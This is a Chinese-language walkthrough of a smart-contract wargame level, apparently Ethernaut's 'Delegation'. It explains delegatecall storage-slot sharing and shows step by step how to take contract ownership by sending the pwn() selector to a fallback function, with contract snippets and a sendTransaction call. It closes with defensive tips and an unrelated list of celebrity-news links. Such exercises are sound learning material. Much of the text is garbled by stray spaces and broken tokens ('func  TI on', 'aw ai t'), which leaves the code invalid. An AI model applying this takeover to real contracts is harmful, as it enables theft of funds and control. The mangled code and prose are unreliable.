如何正确的运用委托调用功能

委托调用(delega     te   call)

委托调用是一种特殊的低级函数调用,旨在从另一个(通常是库)合约中调用函数。

delegateCall()的优点是可以保留当前调用合约环境的内容。此环境包括其storage及其msg.sender,msg.value属性。

以太坊将数据     存储   在存储“插槽”中,即32字节大小的插槽。每次将变量保存到存储时,它会自动占用当前插槽中的剩余空间,或者按顺序占用下一个插槽。

在下图中,合约A向合约B的saveX()函数发出委托调用,该函数最终会改变合同A的存储。

 如何正确的运用委托调用功能_设计制作_存储技术

首先,Contract A通过delegatecall调用saveX函数。委托调用覆盖合约B的存储与存储调用合约akaStorage A.

接下来,执行thesaveX函数。请注意,最初合约B存储到存储槽0中。因此,当此函数现在引用变量bar时,再次查看槽0。

但是现在插槽0是引用指针foo,因此foo设置为x。bar仍然超出范围,没有受到影响。

当合约A向合约B发出委托调用时,它允许合约B自由地改变其存储A.

显然,当开发人员在不安全的存储环境中使用delegatecall()或从恶意库继承时,安全风险就会发生

如果存储变量是通过低级的delegatecall访问的,那么两个合约的存储布局必须对等,以便被调用合约能够按名称正确访问调用合约的存储变量。当然,如果将存储指针作为函数参数传递,就像在高级库中那样,情况就不是同了。

现在利用您对delegatecall()的理解来获得此级别合同的所有权!

细节演练

1、delega     ti   on.sol对库合约delega  TI on.sol进行delegatecall。

2、注意Delegate.sol有一个名为pwn()的公共函数,它将所有者变量的所有权更改为调用该函数的任何人!

contract Delegate {

address public owner; // Occu     pi   es slot 0

。..

func  TI on pwn() public {

owner = msg.sender; // Save msg.sender to slot 0

}

}

3、注意,委托合同的槽0也存储了owner,确切地说是您想要更改的变量!此外,如果您设法调用Delega  TI on.sol中的回退函数来调用pwn(),您将成为调用合约的所有者。

func  TI on() public {

    if   (delegate.delegatecall(msg.data)) {

this;

}

}

4、在以太坊中,您可以通过在事务中发送数据来调用公共函数。格式如下:

contractInstance.call(bytes4(sha3(“functionName(inputType)”))

5、使用Re     mi   x IDE或控制台,调用Delegation.sol的回退功能:

// I did so in the console, having already computed

// the bytes4(sha3(“pwn()”))

aw     ai   t sendTransaction({

f     rom   : “0x1733d5a     dac   cbe8057dba822ea74806361d181654”,

to: “0xe3895c413b0035512c029878d1ce4d8702d02320”,

data: “0xdd365b8b0000000000000000000000000000000000000000000000000000000000000000”

});

6、wait contract.owner()显示您现在是所有者!

提示:您可以执行Remix     调试器   (在     Java   script VM模式下)以查看存储环境如何更改! 您可以在Remix调试器的storage fully loaded列表中找到存储插槽。

关键细节

· 使用更高级别的call()函数继承库,特别是当你i)不需要更改合同存储和ii)不关心gas控制时。

· 更改合同存储的库继承时,请确保将存储插槽与库的存储插槽对齐,以避免出现这些边缘情况。

· 对调用delegatecalls的函数进行身份验证并进行条件检查。

28
115
0
19

相关资讯

  1. 1、郑嘉颖为小22岁娇妻打伞,看到他拿伞的姿势,网友直呼太暖了3842
  2. 2、为了孙艺珍,我咬牙看完了这部韩国电影3339
  3. 3、《去年冬天与你分手》:只有岛国才拍得出这样虐心又变态的纯爱3637
  4. 4、未见老公冯德伦陪伴!舒淇私下会友六小时至深夜4862
  5. 5、42岁李晨演17岁学生,还顶着个西瓜皮发型,郑恺听到表情都变了4483
  6. 6、熊欣欣《光辉岁月》明日将映狄龙父子齐上阵4275
  7. 7、陈国富离开华谊顾长卫入替?各方回应:不清楚2754
  8. 8、《蜘蛛侠英雄归来2》曝新卡司,独眼侠小辣椒都加盟,就差钢铁侠2613
  9. 9、女大十八变!女星们的学生照曝光最后一个变化最大4370
  10. 10、首映!影片《秋田》亮相华沙电影节3965
全部评论(0)
我也有话说
0
收藏
点赞
顶部